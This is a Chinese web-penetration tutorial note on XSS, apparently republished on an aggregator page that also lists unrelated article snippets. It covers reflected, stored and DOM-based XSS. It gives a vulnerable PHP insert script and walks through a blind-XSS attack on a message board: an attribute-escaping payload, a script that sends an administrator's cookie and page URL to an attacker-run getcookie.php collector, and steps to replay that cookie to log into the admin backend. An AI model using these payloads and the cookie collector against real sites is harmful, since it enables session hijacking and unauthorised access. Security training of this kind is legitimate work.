当前位置： 首页 > news >正文

day3-xss漏洞（米斯特web渗透测试）

news 文章来源：https://blog.csdn.net/qq_44870829/article/details/139903761 2025/5/11 1:58:55

day3-xss漏洞（米斯特web渗透测试）

  • XSS
  • Xss种类三种反射型
    • 1.反射型xss
    • 2.存储型xss
    • 3.DOM型xss

XSS

  Xss有一部分是前端的有一部分不是前端的，我们来看一下，昨天的HTML注入修复方法应灵活使用。
在这里插入图片描述

  HTML注入是注入一段HTML，那么HTML里面包含了css，js。昨天css也利用过了（如用黑色背景将其覆盖掉，把下面用白色背景覆盖掉，再写上登录框）。Xss也可以这样利用。

  Xss实际上是插入一段JavaScript代码，但JavaScript代码是可以使用HTML标签调用的。

看上方的http：//html.php?html=<script>alert(1)</script>,导致右下方弹出一个含1的框。
alert(1)弹出一个框内容是里面的东西。
Xss和HTML注入都是将一段代码插入页面中。

Xss种类三种反射型

在这里插入图片描述

1.反射型xss

  反射型xss（白帽子发送了一个xss代码到服务器上，需要经过服务器PHP代码查看处理的，处理完后会将这段代码返回，返回会在浏览器上 看得到，如果此时存在xss那就会弹出上面这个框。）
  Payload有效载荷，它的实际意思是测试了一段payload测试了一段代码，相当于xss代码相当于HTML注入的代码。在输入xss代码时浏览器可能会拦截可以关掉拦截。直接用火狐浏览器吧。在火狐没有拦截，可以弹框的。当弹框后就检测成功了，还没有达到利用程度。其实自带的E浏览器也是可以使用的。
在这里插入图片描述

2.存储型xss

  存储型xss（现在只讲检测不讲利用，等会再利用）浏览器发送一段payload一段xss代码到服务器，服务器后端代码经过处理要存储给数据库，而这个测试的页面后端的代码从数据库查询过来的东西。查询你插入的这段代码，并把你这段代码输送到页面中。这时如果你在输出的时候没有做限制，或者你在浏览器刚开始发送的时候没有做限制。输入点和输出点没有做限制是存在漏洞的那我们来看一下。

在这里插入图片描述

  如上图所示，左上方有个网站，有个名字（代码），我们点击添加，发现他的数据库中的name这一列多了一个名字（代码），那么我们去找对应的页面，可以看到页面一打开就弹出了一个xss，因为name值是xss代码，输出的也是直接把xss代码解析了，所以才会有这个弹框。
接下来实战一下

下面是safe.php的代码

<?php
$conn = mysql_connect('localhost','root','root') or die('bad!');//连接数据库
mysql_query("SET NAMES utf-8'");
mysql_select_db('xsstest',$conn) OR emMsg("数据库连接失败");//选择一个数据库
if (@$_POST['name']) {$name = $_POST['name'];$sql = "INSERT INIO 'admin' ('name') VALUES ('{$name}');";$result = mysql_query($sql,$conn) or die(mysql_error());echo "<script>alert(/添加成功!/)</script>";
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8" /><title>用户添加</title>
</head>
<body>
<form action="" method="post">name:<input type="text" name="name"><br><input type="submit" value="add">
</form>
</body>
</html>

  个人中心这一块怎么利用，我们只需让攻击者在被攻击者访问这个，现在保密，在下个漏洞讲，需要结合另一个漏洞

在这里插入图片描述

3.DOM型xss

  DOM型xss，这个js可以操作前端的代码，是前端中的王者。DOM型xss是因为JavaScript出了问题，前端的代码出了问题才导致的这些DOM节点被修改、创建、删除。

  DOM发送并返回，整个操作在浏览器中进行，而反射型（发给服务器处理并返回，无持久性，删除了这段url代码就没有漏洞）、存储型（发给服务器处理、存储、再返回，在数据库中有持久性）都需发给服务器。
  基于DOM的跨站点脚本不需要依赖于服务器端响应的内容，如果某些HTML页面使用了document.location\document.URL或者document.referer等DOM元素的属性，攻击者可以利用这些属性植入恶意脚本实施基于DOM的跨站点脚本攻击。

在这里插入图片描述

在这里插入图片描述

  他们的危害是类似的，存储型xss危害相对较大

  这个存储型如果在个人中心利用的话会比较麻烦，我们来看一下xss盲打的实例，假设在一个公司工作，客户给一个留言板，要求测试此留言板是否有漏洞，因为学了xss刚刚，这时先测一下有没有xss漏洞。

  一切前端的属性限制在审查元素中是无效的，若是输入密码或账号有字数限制，可以在审查元素中看到maxlength这一属性将其字数限制修改，然后在页面就能成功了。

  注意你发表留言，你能看到吗？提交时发现提交成功，留言需经管理员审核才能发布，想一下，如果管理员发现怎么办，管理员后台如果过触发了这段代码怎么办或者将这些代码删掉了怎么办（并没有点击进去看）

  注意尽量在姓名和邮箱这边不要插入xss代码，姓名后端也会给限制，或者邮箱无@等格式也不给发送给管理员，所以一般会在留言内容中插入<script>alert(1)</script>进行测试，自己这边代码并未执行，而管理员点进去之后代码也并未执行到底是为什么呢然而在审查元素时会发现，它是被HTML实体化编码了，这个xss代码并未被解析。两个思路一个不干了，一个研究xss的payload能去解析才行。

<input type="submit" value="<script>alert(1)</script>">，注意xss代码在value中前后被“”包起来了，想一下，我们也可以输入双引号进去，在input标签内左右尖括号包好，如何构建此payload另其真正的被执行解析呢
<input type="submit" value=""><script>alert(1)</script>">将上面的xss代码变为"><script>alert(1)</script>就能从value中逃逸出来。当你以这个代码输入到浏览内容并发送时，管理员打开就会触发xss，然后就弹出1了。这时你就会想管理员弹出1了我们怎么知道，要知道js代码什么都可以控制，管理员去访问我们的一个文件，我们可以记录一下谁访问我们的文件，document.location.href=”http://www.hi-ourlife.com/”。将输入的内容变成
"><script>document.location.href=”http://www.hi-ourlife.com/”</script>此时这个网站会有记录。

  有个getcookie.php，有些数据要存在客户端，cookie主要是用于辨别用户，也算是凭证吧，我们获取了它的cookie获取了它的凭证，获取了其管理员的凭证，第一步即验证了这个漏洞真实存在，第二个我们获取了它的凭证就能登录其后台。我们就可以试试，那怎么构建呢？
  此getcookie.php是放在我们的网站下面的路径就是

http://192.168.0.109/mst/getcookie.php?cookie=
<?php
if (file_put_contents("cookie.txt", 'Cookie:'.$_GET['cookie'],FILE_APPEND)) {echo "ok";
}
?>
document.cookie在自己的网站中也可以获取cookie
接下来我们在留言板内容中输入”><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie</script>但是我们获取了cookie之后但不知道后台是什么，还需要将后台获取出来。
故在留言板中的内容要输入下方代码
“><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie+”&durl=”+document.URL</script>

  我们已经在生成的txt文件中获得管理员的cookie了，那如何使用呢？很简单，火狐浏览器打开，安装一个插件firebug，安装好后会令你重启一个浏览器，重启，右键使用firebug查看元素，此时点击cookie，编辑一下，将获得的cookie写入，也可以将cookie失效日期更改然后再点击输入管理员网站，注意要改成会话模式。此时注意可以进来了。
  当然xss也会有httponly这个也是希望大家课后自主学习一下，今天先到这明天还会讲之前的个人中心漏洞打一个组合拳一起利用。

相关文章：

day3-xss漏洞（米斯特web渗透测试）

day3-xss漏洞&#xff08;米斯特web渗透测试&#xff09; XSSXss种类三种反射型1.反射型xss2.存储型xss3.DOM型xss XSS Xss有一部分是前端的有一部分不是前端的&#xff0c;我们来看一下&#xff0c;昨天的HTML注入修复方法应灵活使用。 HTML注入是注入一段HTML&#xff0c;那…...

编程日记 2024/6/23 21:02:16

HTML中的＜iframe＞标签及其属性

<iframe>标签在HTML中用于嵌入另一个HTML页面。它提供了一种在当前页面内展示外部内容的方式&#xff0c;而无需离开当前页面。以下是<iframe>的一些常用属性&#xff1a; src&#xff1a;指定要嵌入的页面的URL。width 和 height&#xff1a;设置iframe的尺寸。n…...

编程日记 2024/6/23 20:58:12

Elastisearch集群（单节点）

目录 一、文件下载 二、创建linux es用户 三、上传、解压canal、es、kibana 四、配置es通讯证书&#xff08;生成证书给es配置使用&#xff09; 五、配置elastisearch 六、修改系统配置 七、添加ik分词器支持&#xff08;可选&#xff09; 八、给文件赋值权限 九、设置…...

编程日记 2024/6/23 20:57:11

Vue78-缓存路由组件

一、需求 路由切走的时候&#xff0c;组件会被销毁&#xff0c;路由切回来&#xff0c;组件被挂载&#xff01; 需要&#xff1a;路由切走的时候&#xff0c;组件不会被销毁。 二、代码实现 若是不加include属性&#xff0c;则在<router-view>里面展示的路由&#xff0c…...

编程日记 2024/6/23 20:54:09

windows设置开机启动项

将文件放到下面路径即可实现每次开机启动 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup...

编程日记 2024/6/23 20:53:07

【Linux】 yum学习

yum介绍 在Linux系统中&#xff0c;yum&#xff08;Yellowdog Updater, Modified&#xff09;是一个用于管理软件包的命令行工具&#xff0c;特别适用于基于RPM&#xff08;Red Hat Package Manager&#xff09;的系统&#xff0c;如CentOS、Fedora和Red Hat Enterprise Linux…...

编程日记 2024/6/23 20:52:06

Mac数据如何恢复？3 款最佳 Mac 恢复软件

如果您认为 Mac 上已删除的文件永远丢失了&#xff0c;那您就大错特错了&#xff01;实际上&#xff0c;即使您清空了 Mac 上的垃圾箱&#xff0c;也有许多解决方案可以帮助您恢复已删除的文件。最好的解决方案之一是 Mac 恢复删除软件。最好的Mac 恢复删除应用程序可以轻松准确…...

编程日记 2024/6/23 20:51:05

基于SpringBoot+Vue航空票务管理系统设计和实现(源码+LW+调试文档+讲解等)

&#x1f497;博主介绍&#xff1a;✌全网粉丝1W,CSDN作者、博客专家、全栈领域优质创作者&#xff0c;博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f31f;文末获取源码数据库&#x1f31f; 感兴趣的可以先收藏起来&#xff0c;还…...

编程日记 2024/6/23 20:50:04

Gnu/Linux 之 C 语言函数列表初步整理

Linux为C语言编程提供了丰富的函数库&#xff0c;这些函数库覆盖了从基本输入输出、文件操作、字符串处理到系统调用等各个方面。以下是一些常见的Linux C函数示例&#xff1a; 输入输出函数 printf(): 输出格式化的字符串到标准输出。scanf(): 从标准输入读取格式化的数据。…...

编程日记 2024/6/23 20:48:01

Java学习 （二）关键字、标识符、数组

一、关键字 我们第一章案例中有很多关键字&#xff0c;比如class、public、static、void等&#xff0c;这些关键字依旧被java定义好了&#xff0c;可以拿来用&#xff0c;不需要死记硬背&#xff0c;按照官方文档查询即可 #官方文档 https://docs.oracle.com/javase/tutorial/j…...

编程日记 2024/6/23 20:44:57

数据结构与算法笔记：基础篇 - 初始动态规划：如何巧妙解决“双十一”购物时的凑单问题？

概述 淘宝的 “双十一” 购物节有各种促销活动&#xff0c;比如 “满 200 元减 50元”。假设你女朋友购物车中有 n 个&#xff08;n > 100&#xff09;想买的商品&#xff0c;它希望从里面选几个&#xff0c;在凑够满减条件的前提下&#xff0c;让选出来的商品价格总和最长…...

编程日记 2024/6/23 20:43:56

使用 select 进行 UART 通信的注意事项

文章目录 引言UART 通信中的 select 函数select 函数的工作原理使用 select 进行 UART 通信的注意事项示例代码 引言 UART&#xff08;Universal Asynchronous Receiver/Transmitter&#xff09;是一种用于异步串行通信的硬件协议&#xff0c;常用于计算机和外设之间的数据交换…...

编程日记 2024/6/23 20:42:54

干货 | 2024低空经济产业发展白皮书（免费下载）

【1】关注本公众号&#xff0c;转发当前文章到微信朋友圈 【2】私信发送 2024低空经济产业发展白皮书 【3】获取本方案PDF下载链接&#xff0c;直接下载即可。 如需下载本方案PPT/WORD原格式&#xff0c;诚挚邀请您微信扫描以下二维码加入方案驿站知识星球&#xff0c;获取上…...

编程日记 2024/6/23 20:41:53

打开nginx连接的php页面报错502

目录 问题描述&#xff1a; 原因&#xff1a; 1. 使用 Unix 域套接字&#xff08;Unix Socket&#xff09; 区别和优势&#xff1a; 2. 使用 TCP/IP 套接字 区别和优势&#xff1a; 如何选择 扩展&#xff1a;Rocky_Linux9.4安装PHP的步骤&#xff1a; 使用Remi存储库…...

编程日记 2024/6/23 20:40:50

Qt之文件操作(QFile、QFileInfo、QTemporaryFile)

文章目录 前言QFile如何使用 QFile QFileInfo如何使用 QFileInfo QTemporaryFile如何使用 QTemporaryFile QFile常用函数QFileInfo常用函数QTemporaryFile常用函数总结 前言 在开发 Qt 应用程序时&#xff0c;我们经常需要进行文件操作&#xff0c;如读取文件、写入文件、获取…...

编程日记 2024/6/23 20:39:49

Python爬虫初试

在Python中&#xff0c;我们可以使用一些强大的库来编写一个功能强大的爬虫&#xff0c; Python 首先安装必要的库&#xff08;如果尚未安装&#xff09; pip install requests beautifulsoup4 import requests from bs4 import BeautifulSoup import osdef download_images(…...

编程日记 2024/6/23 20:38:48

ARM-V9 RME(Realm Management Extension)系统架构之系统初始化流程

安全之安全(security)博客目录导读 目录 一、重置取消 二、应用处理单元&#xff08;PE&#xff09;初始启动 三、MSD初始化 四、GPT初始化 五、初始启动退出&#xff08;由所有应用PE执行&#xff09; 六、RMSD初始化 七、PE进入丢失上下文的低功耗状态 本博客提供了R…...

编程日记 2024/6/23 20:37:46

软件工程考试题备考

文章目录 前言一、二、1.2 总结 前言 一、 B D C 类图、对象图、包图 其他系统及用户 功能需求 用例 人、硬件或其他系统可以扮演的角色7. D C 数据 原型/系统原型;瀑布 A 功能;功能需求 D 数据存储;圆形/圆角矩形;矩形 C T;T;F C C B C D C …...

编程日记 2024/6/23 20:36:45

一款基于WordPress开发的高颜值的自适应主题Puock

主题特性 支持白天与暗黑模式 全局无刷新加载 支持博客与CMS布局 内置WP优化策略 一键全站变灰 网页压缩成一行 后台防恶意登录 内置出色的SEO功能 评论Ajax加载 文章点赞、打赏 支持Twemoji集成 支持QQ登录 丰富的广告位 丰富的小工具 自动百度链接提交 众多页面模板 支持评论…...

编程日记 2024/6/23 20:35:44

浙教版 七年级下册 科学复习干货

七年级下册 浙教版科学 复习干货 文章目录 七年级下册 浙教版科学 复习干货第 I 章人类 H u m a n Human Human人类生殖系统胚胎发育、娩出过程青春期 动物 A n i m a l Animal Animal生长时期有性生殖无性生殖 植物 P l a n t Plant Plant种子结构种子萌发芽花有性生殖无性…...

编程日记 2024/6/23 20:34:43

罗盘时钟lua迷你世界

--罗盘时钟 --星空露珠工作室制作 --作者:韩永旗 --数字换中文 local zhChar {一,二,三,四,五,六,七,八,九} function formatNumber( num ) if type(num)~number then return num..is not a num end if num>99 then return num..不是两位数 end if num0 then return 零 el…...

编程日记 2024/6/23 20:33:41

【Java】Java基础语法

一、注释详解 1.1 注释的语法&#xff1a; // 单行注释/*多行注释 *//**文档注释 */ 1.2 注释的特点&#xff1a; 注释不影响程序的执行&#xff0c;在Javac命令进行编译后会将注释去掉 1.3 注释的快捷键 二、字面量详解 2.1 字面量的概念&#xff1a; 计算机是用来处理…...

编程日记 2024/6/23 20:32:39

利用golang_Consul代码实现Prometheus监控目标的注册以及动态发现与配置

文章目录 前言一、prometheus发现方式二、监控指标注册架构图三、部分代码展示1.核心思想2.代码目录3、程序入口函数剖析4、settings配置文件5、初始化配置文件及consul6、全局变量7、配置config8、公共方法目录common9、工具目录tools10、service层展示11、命令行参数12、Make…...

编程日记 2024/6/23 20:31:38

Python爬虫介绍

Python 作为一种广泛应用的编程语言&#xff0c;在 Web 开发、大数据开发、人工智能开发和嵌入式开发等领域都有着重要的应用。 Python 的易学性、清晰性和可移植性等特点使它得到很多技术人士的喜爱。对于数据科学和机器学习领域的程序员来说&#xff0c;Python 提供了强大的…...

编程日记 2024/6/23 20:29:36

Linux 进程管理

一、查看进程 使用ps -aux进行查看&#xff0c;其中a表示列出所有进程信息&#xff0c;u以用户格式显示进程信息&#xff0c;x显示后台进程参数&#xff0c;也可以使用| grep 进行进程的筛选 以下是显示进程后的示意 USER为进程执行的用户 PID为进程号 %CPU为该进程的cpu占用…...

编程日记 2024/6/23 20:27:33

【车载测试】CAN协议、CAN- FD协议和FlexRay协议 区别

【上半场电动化&#xff0c;下半场智能化】 一、CAN协议 和 CAN- FD协议的区别 CAN&#xff08;Controller Area Network&#xff09;协议是一种广泛用于汽车和工业控制系统等领域的现场总线协议。CAN- FD&#xff08;Flexible Data Rate&#xff09;协议是对CAN协议的扩展&am…...

编程日记 2024/6/23 20:25:31

对日期的处理

对日期的处理 对编码进行统一&#xff0c;在脚本最开始&#xff1a; # -*- coding: utf-8 -*-这里涉及到两个操作&#xff0c;一个是将数据进行标准化&#xff0c;比如有些日期是2024/05/06这并不符合日期的标准格式&#xff0c;需要转换成这样的2024-05-06 def tran_std(st…...

编程日记 2024/6/23 20:24:29

赵丽颖纯白茉莉绽放温柔之美

赵丽颖纯白茉莉&#xff0c;绽放温柔之美在这个繁忙喧嚣的娱乐圈&#xff0c;赵丽颖以其独特的魅力&#xff0c;成为了无数人心中的白月光。近日&#xff0c;赵丽颖工作室发布了一组live图&#xff0c;她身着一袭温柔白裙&#xff0c;宛如一朵盛开的纯白茉莉花&#xff0c;美得…...

编程日记 2024/6/23 20:23:28

软考高级论文真题“论湖仓一体架构及其应用”

论文真题 随着5G、大数据、人工智能、物联网等技术的不断成熟&#xff0c;各行各业的业务场景日益复杂&#xff0c;企业数据呈现出大规模、多样性的特点&#xff0c;特别是非结构化数据呈现出爆发式增长趋势。在这一背景下&#xff0c;企业数据管理不再局限于传统的结构化OLTP…...

编程日记 2024/6/23 20:22:25

CentOS系统查看版本的各个命令

cat /etc/centos-release 查看CentOS版本 uname -a 命令的结果分别代表&#xff1a;当前系统的内核名称、主机名、内核发型版本、节点名、系统时间、硬件名称、硬件平台、处理器类型以及操作系统名称 cat /proc/version 命令用于查看Linux内核的版本信息。执行该命令后&#xf…...

编程日记 2024/6/23 20:21:24